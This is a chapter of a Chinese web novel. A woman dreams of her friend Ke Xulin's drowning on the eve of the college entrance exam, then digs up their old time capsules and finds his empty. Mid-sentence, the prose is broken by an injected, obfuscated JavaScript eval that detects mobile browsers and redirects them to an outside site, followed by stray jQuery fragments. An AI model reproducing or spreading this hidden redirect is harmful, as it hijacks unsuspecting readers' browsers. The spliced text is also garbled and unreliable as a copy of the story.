Present29/“致2018年7月10日的柯敘凜”


    林弥初连夜搬回了自己的那套旧公寓。


    她握着手机，躺在那张硬得发疼的单人床上，久违地开始做梦。


    梦见高中考试的前一天。


    是阴天。


    她和平时一样抱着复习书去敲柯叙凛家的大门。


    摁了几次门铃，都没见里面有人来开。


    她扶着被雨水侵蚀生锈的铁栏，努力踮脚往里面看，房子的窗户是灰色的，偌大的一间，显得格外空落落，灯没开，也没有人在家。


    她有些迟疑地调转步伐，从兜里掏出手机，翻出通讯录最上面的那条，摁下拨号键。


    彩铃响了很长的一会儿，对面也没有接通。


    “奇怪，怎么电话也不接？”林弥初喃喃自语道。


    乌云把光线压得很低很低，她搭上门把手，肆虐的风将她的裙摆吹鼓，发丝也一整个吹乱。


    林弥初将凌乱的发丝顺到耳后，从打电话改为了发信息，她问他去哪了。


    然而这条消息一直到第二天上午凌晨，也没看见回复。


    林弥初咬着指节，又尝试拨了个电话，对方依然是关机的状态。


    她的心情由焦虑转为了不安，但因为马上要考试的缘故，心态不能够受到影响，只能硬生生忍住。


    不论怎么样，不论发生什么事。


    柯叙凛总不会不来参加考试的。


    想到这里，林弥初的心里微微安定下来。


    林田英早早起床给她煎了荷包蛋火腿还有一杯牛奶，她把剩下的那一份放进了保温桶里，让急着出门的林弥初带上。


    “这份带给阿凛，我早上去他家里找他，看他家里没人。考试不能饿肚子，你顺便带过去，让他吃了再进考场。”


    她伸手接过，胡乱蹬上制服鞋，从来没有这么迫切地想赶到学校过。


    只是公车临近考场的路段，路口变得很拥堵，林弥初看着腕表上的指针滴答走动，五指推开后窗探头往外望去，前面站了好几个指挥交通的交警。


    她的掌心在窗沿焦躁地拍了两下。


    司机还以为她是怕赶不上考试，打着方向盘安慰她：“不用担心喔妹妹，肯定能赶上的。”


    最后公车在距离考试开始的前十五分钟，终于到站停下。


    一打开车门，立马有一群考生争先恐后地往下跑。


    林弥初被推挤着，随波逐流往前走，她看了一眼时间，估摸着要去一趟柯叙凛的考场已经来不及了。


    她在原地犹豫了两秒，果断跟上大部队的步伐往自己的考场奔。


    坐下的时候正正好好赶上了开考铃。


    林弥初坐在位置上，低头用皮筋把头发整个绑起来。


    她深吸了一口气，平复了一下呼吸，伸手接过发下来的试卷。


    接下来的几场答题，完全就是水到渠成了。


    林弥初题目做得前所未有得顺，甚至觉得比之前学校组织的前几次模拟测试都要来得简单。


    答完最后一个字，她放下笔，安静地等待老师收卷。


    伴随着最后一张卷子也被收上去，考试结束响起，代表着整个高中时代已经落幕。


    林弥初将考试用具全部收拾好放进笔盒，原本悄然无声的走廊，瞬间被从考场鱼贯而出的考生填满。


    她在考场门口找到了自己的书包，又拿起那个估计早就已经凉透的保温桶。


    逆着拥挤的人群，往另一个考场走。


    她迫不及待地想要去见柯叙凛。


    然而等林弥初赶到考场，里面的人早就已经走空了，只有监考的老师还在清点卷子。


    她上前一步，一目十行地查看贴在教室外的考试签到名单。


    很快，她的目光凝在一处，不动了。


    白纸黑字印刷得很清晰，那一串长长的考号后跟着柯叙凛的名字，而本该由考生签名的那一栏，由监考的老师确认无误，签下了「缺考」两个字。


    林弥初掉头就走，边走边拨柯叙凛的电话。


    一遍拨不通就立马摁掉拨第二遍。


    在哪里？


    为什么不接电话？


    为什么不来赴约？


    为什么……连考试都没有参加就不告而别？


    她越走越快，最后挥着纤细的四肢奔跑起来。


    家里、学校、两人最常去的小吃摊、饮料铺。


    她询问了很多人有没有见过他，答案都是没有，只能漫无目的地四处寻找着柯叙凛的身影，很快额发被汗水打得湿透。


    每经过一个地点，林弥初都希望那道熟悉的身影会忽然出现。


    再含着散漫的笑意朝她说：“找我找得那么辛苦喔？”


    这样她就能够冲上去，又喜又怒地把他暴打一顿。


    找到最后，林弥初彻底没了一丝力气，精疲力尽地扶着膝盖喘息。


    天色暗下来，开始下雨。


    她的睫毛沾了雨水，变得沉重濡湿。


    林弥初拖着疲惫的身躯，沿着海岸线的方向，往家里走。


    还没走出几步，她远远地看到了林田英的熟悉身影。


    那声“妈”没能成功喊出口，因为她的嗓音已经完全哑掉了。


    而林田英也完全没看见她，她正双眼通红地死死盯着一个方向。


    林弥初顺着她的目光往那头看去。


    缓慢扭动的视线，像是场电影无声的慢镜头，一格一格地定帧，让她能够清晰地直面，看清眼前都发生了什么。


    白布、担架、以及一只垂落下来的，她再熟悉不过的手。


    手腕上还带着她送的机械表，因为进了水，指针已经定格。


    冷雨顺着林弥初的额头滑落，流淌到她忪怔的眉心，冰冰凉凉的，就像躯干里已然失去温度的血液。


    她的手和腿逐渐失去力气，不自觉松懈了力道，手里原本拎着的那个保温桶“哐当”一声坠在地上。


    保温盖子松动，里面原本装着的牛奶淌了一地。


    林弥初大脑一片空白，死死地捂住自己的唇，她把哭声无声压抑在喉咙里，不敢泄露一丝一毫。


    根本不敢抬起眼睛。


    一抬起来，就是汹涌夺眶而出的眼泪。


    像是被铺天盖地的雨水淹没了、压垮了，


    她被卷入一道残酷的旋涡里，再也直不起腰。


    也再也没办法，去握住那只温暖的手。


    ^


    林弥初从噩梦中挣扎着惊醒。


    她满头都是汗，对着天花板发了好一会儿的呆，才把胸腔里那股窒息感逐渐驱逐出去。


    仿佛灌了水一般的耳朵渐渐能听清周围的声音。


    “……预防和减少溺水事故的发生……生命只有一次，安全重于泰山……”


    林弥初坐起来，发现自己刚刚睡梦中把手机抓得太紧，不知道怎么摁开了一个短视频，巨大的音量在狭小的出租公寓里回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133988|179649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    荡。


    她把视频关了，周围重新恢复了寂静。


    林弥初回到被子里，整个人极度没有安全感地蜷缩着。


    所有人都说，当年的事是一场意外。


    台北的海讯期涨潮，曾经意外夺去过无数人的生命。


    人的能力再大，与自然力量相比，也根本不值得一提。


    可是为什么，柯叙凛会在高考前一天，忽然出现在海边？


    这也是林弥初想了十年都没有明白的问题。


    第二天起床。


    林弥初戴上帽子和口罩，拿上车钥匙，准备去一个地方一趟。


    一打开家门，原本靠在门口的人一下子失去支撑点，狼狈地摔倒跌进门。


    连嘉佑有些尴尬地撑起身子，目光躲闪着不敢看她。


    林弥初声音在口罩下显得闷闷的：“你今天不上班吗？”


    “我请假了一天，买了点早饭，给你送过来，”连嘉佑说，“我听说……你和程柏谚分手了。”


    “你还好吧？”


    “嗯，没事。”林弥初没什么波动地拉下口罩。


    正好有些饿了，她蹲在门口，吃了一口连嘉佑买的早餐。


    两人绝口不提之前吵架的事。


    吃完早餐，林弥初说想去一个地方，连嘉佑连忙说她也一起。


    于是她们开车回到了台大附近。


    那里有一棵树龄很大的加罗林鱼木，花瓣像是振翅欲飞的蝴蝶，是当地有名的地标。


    林弥初从车上拿下来一个小铲，找了个地方，开始挖土。


    连嘉佑不解地问：“干什么？”


    “时光胶囊，”林弥初挖的动作很快，到了后面，几乎是跪在地上，毫不顾忌地用手把土给挖开，“十年前，我们的时光胶囊埋在了这里。”


    闻言，连嘉佑也立马蹲下来，帮着她一块挖土。


    他们埋得不深，挖起来也并不费力，挖了没多久，就挖到了一层塑料薄膜一样的东西。


    林弥初和连嘉佑相视一眼，默契地把那里面的东西一点点取出来。


    两颗时光胶囊上分别标注好了名字。


    一颗叫「致2018年7月10日的柯叙凛」，一颗叫「致2018年7月10日的林弥初」。


    林弥初先打开了给柯叙凛的那一颗。


    “这是我写的，”她垂着眼睛，因为还记得自己装了什么东西，嗓音显得格外平静，“想给十年后的他看。”


    林弥初沉默地把其中一张纸拿出来打开。


    “这个好像是一张没写完的个人资料欸，你怎么也放进去了？是不小心塞错了吗？”


    时隔十年，林弥初把它完全展开。


    这张个人资料是她当初被邀请填写的时候，偷偷留下来的一张。


    只填写了姓名那一栏，以及底下喜欢的人那一栏。


    姓名：林弥初。


    喜欢的人：保密（划掉）柯叙凛。


    风把这张承载着旧时光的纸吹得折角，林弥初浑然不觉，只是望着那两行字发呆。


    她在少女时期给柯叙凛写的那一封信，已经没有勇气再去打开看。


    于是直接伸手，打开了另外一颗时光胶囊。


    “咦？”连嘉佑看清了里面的东西，微微睁大了眼睛。


    连林弥初也没想到会是这样，一时间愣在原地，眼角缓缓怔开。


    “林弥初，为什么他给你的这颗胶囊……”


    “里面是空的？”